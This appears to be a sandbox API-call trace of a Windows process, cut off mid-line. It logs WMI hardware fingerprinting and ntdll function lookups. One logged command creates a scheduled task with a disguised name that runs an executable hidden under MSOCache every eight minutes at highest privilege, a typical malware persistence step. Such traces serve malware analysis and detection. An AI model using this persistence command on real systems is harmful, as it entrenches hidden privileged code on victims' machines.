[0134.717] memcpy (in: _Dst=0x20abba7a28c, _Src=0x20abba6a718, _Size=0xa | out: _Dst=0x20abba7a28c) returned 0x20abba7a28c [0134.717] free (_Block=0x20abc281b40) [0134.717] free (_Block=0x20abc281b80) [0134.717] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0134.717] malloc (_Size=0x5e) returned 0x20abc2801b0 [0134.718] free (_Block=0x20abc281ae0) [0134.718] malloc (_Size=0x18) returned 0x20abc281ec0 [0134.719] free (_Block=0x20abc2801b0) [0134.719] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 0 [0134.720] GetLastError () returned 0x7a [0134.720] malloc (_Size=0x1a) returned 0x20abc2a9f10 [0134.720] malloc (_Size=0xe) returned 0x20abc281c80 [0134.720] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2812e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9f10, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281c80, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 1 [0134.721] malloc (_Size=0x18) returned 0x20abc282040 [0134.721] malloc (_Size=0x18) returned 0x20abc281f20 [0134.721] free (_Block=0x20abc2a9f10) [0134.722] free (_Block=0x20abc281c80) [0134.722] free (_Block=0x20abc2a9d00) [0134.722] free (_Block=0x20abc281f20) [0134.722] free (_Block=0x20abc282040) [0134.722] free (_Block=0x20abc281ec0) [0134.723] free (_Block=0x20abc2812d0) [0134.723] SetEvent (hEvent=0x248) returned 1 [0134.724] free (_Block=0x20abc285e10) [0134.725] CreateEnvironmentBlock () returned 0x1 [0134.731] malloc (_Size=0x18) returned 0x20abc281b80 [0134.731] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 8 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x20abba86130, lpCurrentDirectory=0x0, lpStartupInfo=0x2dc237c5d0*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2dc237c478 | out: lpCommandLine="schtasks.exe /create /tn \"SystemSettingsS\" /sc MINUTE /mo 8 /tr \"'C:\\MSOCache\\All Users\\SystemSettings.exe'\" /rl HIGHEST /f", lpProcessInformation=0x2dc237c478*(hProcess=0x260, hThread=0x264, dwProcessId=0x1388, dwThreadId=0x1384)) returned 1 [0134.741] CloseHandle (hObject=0x260) returned 1 [0134.741] CloseHandle (hObject=0x264) returned 1 [0134.742] free (_Block=0x20abc281b80) [0134.742] DestroyEnvironmentBlock () returned 0x1 [0134.742] malloc (_Size=0x48) returned 0x20abc285dc0 [0134.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc237c450 | out: lpSystemTimeAsFileTime=0x2dc237c450*(dwLowDateTime=0xc12e5d7, dwHighDateTime=0x1d9eb0c)) [0134.742] SetEvent (hEvent=0x248) returned 1 [0134.743] CloseHandle (hObject=0x270) returned 1 [0134.743] CloseHandle (hObject=0x26c) returned 1 [0134.846] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abba48260 [0134.846] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba48260, pulNumLanguages=0x2dc237dd50 | out: pulNumLanguages=0x2dc237dd50) returned 1 [0134.846] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0134.846] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48270) returned 1 [0164.170] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0164.206] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0164.206] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0164.206] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48260 [0164.206] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0164.206] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0164.206] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48270 [0164.206] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0164.206] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba666c0 [0164.206] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba666c0, pulNumLanguages=0x2dc237dcb8 | out: pulNumLanguages=0x2dc237dcb8) returned 1 [0164.206] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba666c0) returned 1 [0164.211] malloc (_Size=0x600) returned 0x20abc285370 [0164.212] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x0, ReturnedLength=0x2dc237d398 | out: Buffer=0x0, ReturnedLength=0x2dc237d398) returned 0 [0164.212] GetLastError () returned 0x7a [0164.212] malloc (_Size=0x250) returned 0x20abc2867b0 [0164.212] GetLogicalProcessorInformationEx (in: RelationshipType=0xffff, Buffer=0x20abc2867b0, ReturnedLength=0x2dc237d398 | out: Buffer=0x20abc2867b0, ReturnedLength=0x2dc237d398) returned 1 [0164.212] GetActiveProcessorCount (GroupNumber=0xffff) returned 0x4 [0164.212] GetMaximumProcessorGroupCount () returned 0x1 [0164.212] malloc (_Size=0x40) returned 0x20abc27ce40 [0164.213] malloc (_Size=0x40) returned 0x20abc27cb20 [0164.213] malloc (_Size=0x8) returned 0x20abc286c60 [0164.213] memcpy (in: _Dst=0x20abc27ce40, _Src=0x20abc2867d0, _Size=0x10 | out: _Dst=0x20abc27ce40) returned 0x20abc27ce40 [0164.222] GetActiveProcessorCount (GroupNumber=0x0) returned 0x4 [0164.223] NtPowerInformation (in: InformationLevel=0x2e, InputBuffer=0x2dc237d390, InputBufferLength=0x2, OutputBuffer=0x20abc285370, OutputBufferLength=0x60 | out: OutputBuffer=0x20abc285370) returned 0x0 [0164.223] _vsnwprintf (in: _Buffer=0x2dc237d230, _BufferCount=0x63, _Format="CPU%d", _ArgList=0x2dc237cb28 | out: _Buffer="CPU0") returned 4 [0164.225] GetCurrentThread () returned 0xfffffffffffffffe [0164.225] SetThreadGroupAffinity (in: hThread=0xfffffffffffffffe, GroupAffinity=0x2dc237ca80, PreviousGroupAffinity=0x2dc237ca90 | out: PreviousGroupAffinity=0x2dc237ca90) returned 1 [0164.225] GetSystemInfo (in: lpSystemInfo=0x2dc237cbc0 | out: lpSystemInfo=0x2dc237cbc0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0164.226] mbstowcs (in: _Dest=0x2dc237ce48, _Source="GenuineIntel", _MaxCount=0x28 | out: _Dest="GenuineIntel") returned 0xc [0164.226] _wcsicmp (_String1="GenuineIntel", _String2="GenuineIntel") returned 0 [0164.228] mbstowcs (in: _Dest=0x2dc237ccb8, _Source="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", _MaxCount=0x28 | out: _Dest="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x27 [0164.228] GetCurrentThread () returned 0xfffffffffffffffe [0164.228] SetThreadGroupAffinity (in: hThread=0xfffffffffffffffe, GroupAffinity=0x2dc237ca90, PreviousGroupAffinity=0x0 | out: PreviousGroupAffinity=0x0) returned 1 [0164.238] LoadStringW (in: hInstance=0x7ffb033b0000, uID=0x2c, lpBuffer=0x2dc237c890, cchBufferMax=256 | out: lpBuffer="CPU %d") returned 0x6 [0167.455] malloc (_Size=0x35140) returned 0x20abc2af660 [0167.468] _wtoi (_String="238") returned 238 [0167.468] _wtoi (_String="6") returned 6 [0167.468] _itow (in: _Dest=0x0, _Radix=-1036529312 | out: _Dest=0x0) returned="0" [0167.468] _itow (in: _Dest=0xee, _Radix=-1036531024 | out: _Dest=0xee) returned="238" [0167.468] malloc (_Size=0x4000) returned 0x20abc2e47b0 [0167.468] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x0, lpData=0x20abc2e47b0, lpcbData=0x2dc237ca84*=0x4000 | out: lpType=0x0, lpData=0x20abc2e47b0*=0x50, lpcbData=0x2dc237ca84*=0x600) returned 0x0 [0167.541] free (_Block=0x20abc2e47b0) [0167.541] Sleep (dwMilliseconds=0x3e8) [0168.590] _itow (in: _Dest=0xee, _Radix=-1036531024 | out: _Dest=0xee) returned="238" [0168.590] malloc (_Size=0x4000) returned 0x20abc2e47b0 [0168.590] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x0, lpData=0x20abc2e47b0, lpcbData=0x2dc237ca84*=0x4000 | out: lpType=0x0, lpData=0x20abc2e47b0*=0x50, lpcbData=0x2dc237ca84*=0x600) returned 0x0 [0168.641] free (_Block=0x20abc2e47b0) [0168.644] free (_Block=0x20abc2af660) [0168.651] _vsnwprintf (in: _Buffer=0x2dc237d160, _BufferCount=0x40, _Format="%04X%04X%04X%04X", _ArgList=0x2dc237cb28 | out: _Buffer="0F8BFBFF00050654") returned 16 [0168.655] lstrlenW (lpString=" 0") returned 2 [0168.655] lstrlenW (lpString="Intel(R) Xeon(R) Gold 6126 CPU @ 2.60GHz") returned 40 [0168.656] lstrlenW (lpString="") returned 0 [0168.656] lstrlenW (lpString="") returned 0 [0168.657] lstrlenW (lpString="") returned 0 [0168.659] IsProcessorFeaturePresent (ProcessorFeature=0x14) returned 1 [0168.660] IsProcessorFeaturePresent (ProcessorFeature=0x15) returned 1 [0168.660] RtlNumberOfSetBitsUlongPtr (Target=0x1) returned 0x1 [0168.660] RtlNumberOfSetBitsUlongPtr (Target=0x2) returned 0x1 [0168.660] RtlNumberOfSetBitsUlongPtr (Target=0x4) returned 0x1 [0168.660] RtlNumberOfSetBitsUlongPtr (Target=0x8) returned 0x1 [0168.660] _vsnwprintf (in: _Buffer=0x2dc237d420, _BufferCount=0x63, _Format="CPU%d", _ArgList=0x2dc237d368 | out: _Buffer="CPU0") returned 4 [0168.662] free (_Block=0x20abc286c60) [0168.663] free (_Block=0x20abc27cb20) [0168.663] free (_Block=0x20abc27ce40) [0168.664] free (_Block=0x20abc2867b0) [0168.664] free (_Block=0x20abc285370) [0168.711] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402280 [0168.711] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402280, pulNumLanguages=0x2dc237dd60 | out: pulNumLanguages=0x2dc237dd60) returned 1 [0168.711] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402280) returned 1 [0168.711] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48270) returned 1 [0168.969] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0169.204] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0169.230] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0169.230] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0169.230] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4021b0 [0169.230] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0169.230] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4021b0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4021b0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0169.230] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4022f0 [0169.230] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4021b0) returned 1 [0169.230] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93430 [0169.230] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93430, pulNumLanguages=0x2dc237dcb8 | out: pulNumLanguages=0x2dc237dcb8) returned 1 [0169.230] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93430) returned 1 [0169.240] LoadStringW (in: hInstance=0x7ffb033b0000, uID=0x3e, lpBuffer=0x2dc237d260, cchBufferMax=256 | out: lpBuffer="Base Board") returned 0xa [0169.241] lstrlenW (lpString="Dell Inc.") returned 9 [0169.241] lstrlenW (lpString="0G3HR7") returned 6 [0169.242] lstrlenW (lpString="A00") returned 3 [0169.242] lstrlenW (lpString="..XXXXXXXXXXXXX.") returned 16 [0169.269] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc402170 [0169.269] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc402170, pulNumLanguages=0x2dc237dd60 | out: pulNumLanguages=0x2dc237dd60) returned 1 [0169.269] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402170) returned 1 [0169.270] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4022f0) returned 1 [0169.331] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0169.342] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0169.342] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0169.342] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4022f0 [0169.342] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0169.342] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4022f0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4022f0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0169.342] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402290 [0169.342] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4022f0) returned 1 [0169.342] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba935d0 [0169.343] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba935d0, pulNumLanguages=0x2dc237dcb8 | out: pulNumLanguages=0x2dc237dcb8) returned 1 [0169.343] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba935d0) returned 1 [0169.350] _wtoi (_String="04") returned 4 [0169.350] _wtoi (_String="14") returned 14 [0169.350] GetLocalTime (in: lpSystemTime=0x2dc237c890 | out: lpSystemTime=0x2dc237c890*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1e, wMilliseconds=0x1ec)) [0169.350] _wtoi (_String="01") returned 1 [0169.350] _vsnwprintf (in: _Buffer=0x2dc237c8d0, _BufferCount=0x63, _Format="%d%02d%02d000000.000000+000", _ArgList=0x2dc237c868 | out: _Buffer="20140401000000.000000+000") returned 25 [0169.351] RegQueryValueExW (in: hKey=0x330, lpValueName="SystemBiosVersion", lpReserved=0x0, lpType=0x2dc237ca64, lpData=0x2dc237d150, lpcbData=0x2dc237ca54*=0x410 | out: lpType=0x2dc237ca64*=0x7, lpData=0x2dc237d150*, lpcbData=0x2dc237ca54*=0x18) returned 0x0 [0169.352] VirtualProtect (in: lpAddress=0x7ffb0357a000, dwSize=0x4f0, flNewProtect=0x4, lpflOldProtect=0x7ffb03567f20 | out: lpflOldProtect=0x7ffb03567f20*=0x2) returned 1 [0169.353] GetProcAddress (hModule=0x7ffb200e0000, lpProcName=0x17) returned 0x7ffb200f4be0 [0169.353] VirtualProtect (in: lpAddress=0x7ffb0357a000, dwSize=0x4f0, flNewProtect=0x2, lpflOldProtect=0x2dc237c980 | out: lpflOldProtect=0x2dc237c980*=0x4) returned 1 [0169.353] SafeArrayAccessData (in: psa=0x20abbaf1d20, ppvData=0x2dc237ca78 | out: ppvData=0x2dc237ca78) returned 0x0 [0169.353] VirtualProtect (in: lpAddress=0x7ffb0357a000, dwSize=0x4f0, flNewProtect=0x4, lpflOldProtect=0x7ffb03567f20 | out: lpflOldProtect=0x7ffb03567f20*=0x2) returned 1 [0169.354] GetProcAddress (hModule=0x7ffb200e0000, lpProcName=0x18) returned 0x7ffb200f83c0 [0169.354] VirtualProtect (in: lpAddress=0x7ffb0357a000, dwSize=0x4f0, flNewProtect=0x2, lpflOldProtect=0x2dc237c980 | out: lpflOldProtect=0x2dc237c980*=0x4) returned 1 [0169.354] SafeArrayUnaccessData (psa=0x20abbaf1d20) returned 0x0 [0169.354] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bc70 [0169.354] SafeArrayGetDim (psa=0x20abbaf20a0) returned 0x1 [0169.354] SafeArrayGetLBound (in: psa=0x20abbaf20a0, nDim=0x1, plLbound=0x2dc237c740 | out: plLbound=0x2dc237c740) returned 0x0 [0169.354] SafeArrayGetUBound (in: psa=0x20abbaf20a0, nDim=0x1, plUbound=0x2dc237c760 | out: plUbound=0x2dc237c760) returned 0x0 [0169.354] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6ac50 [0169.354] SafeArrayGetDim (psa=0x20abbaf20a0) returned 0x1 [0169.354] SafeArrayGetUBound (in: psa=0x20abbaf20a0, nDim=0x1, plUbound=0x2dc237c708 | out: plUbound=0x2dc237c708) returned 0x0 [0169.354] SafeArrayGetElemsize (psa=0x20abbaf20a0) returned 0x8 [0169.355] SafeArrayGetElement (in: psa=0x20abbaf20a0, rgIndices=0x2dc237c5f8, pv=0x2dc237c600 | out: pv=0x2dc237c600) returned 0x0 [0169.355] memcpy (in: _Dst=0x2dc237c608, _Src=0x20abc402110, _Size=0x8 | out: _Dst=0x2dc237c608) returned 0x2dc237c608 [0169.356] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6ac50) returned 1 [0169.357] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bc70) returned 1 [0169.357] VirtualProtect (in: lpAddress=0x7ffb0357a000, dwSize=0x4f0, flNewProtect=0x4, lpflOldProtect=0x7ffb03567f20 | out: lpflOldProtect=0x7ffb03567f20*=0x2) returned 1 [0169.357] GetProcAddress (hModule=0x7ffb200e0000, lpProcName=0x10) returned 0x7ffb200f0e10 [0169.358] VirtualProtect (in: lpAddress=0x7ffb0357a000, dwSize=0x4f0, flNewProtect=0x2, lpflOldProtect=0x2dc237c980 | out: lpflOldProtect=0x2dc237c980*=0x4) returned 1 [0169.363] lstrlenW (lpString="XXXXXXX") returned 7 [0169.363] lstrlenW (lpString="Dell Inc.") returned 9 [0169.364] lstrlenW (lpString="07/08/2010") returned 10 [0169.364] _wtoi (_String="07") returned 7 [0169.364] _wtoi (_String="2010") returned 2010 [0169.364] GetLocalTime (in: lpSystemTime=0x2dc237c890 | out: lpSystemTime=0x2dc237c890*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1e, wMilliseconds=0x1fb)) [0169.364] _wtoi (_String="08") returned 8 [0169.364] _vsnwprintf (in: _Buffer=0x2dc237c8d0, _BufferCount=0x63, _Format="%d%02d%02d000000.000000+000", _ArgList=0x2dc237c868 | out: _Buffer="20100708000000.000000+000") returned 25 [0169.365] lstrlenW (lpString="A05") returned 3 [0169.365] SafeArrayPutElement (psa=0x20abbaf21a0, rgIndices=0x2dc237ca14, pv=0x2dc237ca10) returned 0x0 [0169.365] SafeArrayPutElement (psa=0x20abbaf21a0, rgIndices=0x2dc237ca14, pv=0x2dc237ca40) returned 0x0 [0169.365] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c8f0 [0169.365] SafeArrayGetDim (psa=0x20abbaf21a0) returned 0x1 [0169.365] SafeArrayGetLBound (in: psa=0x20abbaf21a0, nDim=0x1, plLbound=0x2dc237c790 | out: plLbound=0x2dc237c790) returned 0x0 [0169.365] SafeArrayGetUBound (in: psa=0x20abbaf21a0, nDim=0x1, plUbound=0x2dc237c7b0 | out: plUbound=0x2dc237c7b0) returned 0x0 [0169.365] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba88350 [0169.366] SafeArrayGetDim (psa=0x20abbaf21a0) returned 0x1 [0169.366] SafeArrayGetUBound (in: psa=0x20abbaf21a0, nDim=0x1, plUbound=0x2dc237c758 | out: plUbound=0x2dc237c758) returned 0x0 [0169.366] SafeArrayGetElemsize (psa=0x20abbaf21a0) returned 0x4 [0169.366] SafeArrayGetElement (in: psa=0x20abbaf21a0, rgIndices=0x2dc237c650, pv=0x2dc237c6a0 | out: pv=0x2dc237c6a0) returned 0x0 [0169.366] SafeArrayGetElement (in: psa=0x20abbaf21a0, rgIndices=0x2dc237c650, pv=0x2dc237c6a0 | out: pv=0x2dc237c6a0) returned 0x0 [0169.366] SafeArrayGetElement (in: psa=0x20abbaf21a0, rgIndices=0x2dc237c650, pv=0x2dc237c6a0 | out: pv=0x2dc237c6a0) returned 0x0 [0169.367] memcpy (in: _Dst=0x2dc237c658, _Src=0x20abc402100, _Size=0x4 | out: _Dst=0x2dc237c658) returned 0x2dc237c658 [0169.367] memcpy (in: _Dst=0x2dc237c658, _Src=0x20abc402104, _Size=0x4 | out: _Dst=0x2dc237c658) returned 0x2dc237c658 [0169.368] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba88350) returned 1 [0169.392] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c8f0) returned 1 [0169.405] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc4022b0 [0169.405] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc4022b0, pulNumLanguages=0x2dc237dd60 | out: pulNumLanguages=0x2dc237dd60) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4022b0) returned 1 [0169.405] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402290) returned 1 [0170.028] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0170.076] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0177.907] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0177.981] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0177.981] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0177.982] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4021d0 [0177.982] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0177.982] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4021d0, pcchLanguagesBuffer=0x2dc237dbb0 | out: pulNumLanguages=0x2dc237dcb8, pwszLanguagesBuffer=0x20abc4021d0, pcchLanguagesBuffer=0x2dc237dbb0) returned 1 [0177.982] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402230 [0177.982] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4021d0) returned 1 [0177.982] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba937f0 [0177.982] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba937f0, pulNumLanguages=0x2dc237dcb8 | out: pulNumLanguages=0x2dc237dcb8) returned 1 [0177.982] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba937f0) returned 1 [0177.987] malloc (_Size=0xb0) returned 0x20abc284e70 [0177.987] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb201b0000 [0177.987] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlInitUnicodeString") returned 0x7ffb201cced0 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="RtlFreeUnicodeString") returned 0x7ffb201cc680 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffb20257f10 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffb20257630 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtCreateFile") returned 0x7ffb202557e0 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQuerySystemInformation") returned 0x7ffb20255400 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryDirectoryObject") returned 0x7ffb202572f0 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryObject") returned 0x7ffb20254f40 [0177.988] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenDirectoryObject") returned 0x7ffb20255840 [0177.989] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationProcess") returned 0x7ffb20255060 [0177.989] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryInformationToken") returned 0x7ffb20255160 [0177.989] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtOpenFile") returned 0x7ffb202553a0 [0177.989] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtClose") returned 0x7ffb20254f20 [0177.989] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtFsControlFile") returned 0x7ffb20255460 [0177.989] GetProcAddress (hModule=0x7ffb201b0000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffb20255660 [0177.989] malloc (_Size=0x18) returned 0x20abc281ec0 [0177.990] GetCurrentThread () returned 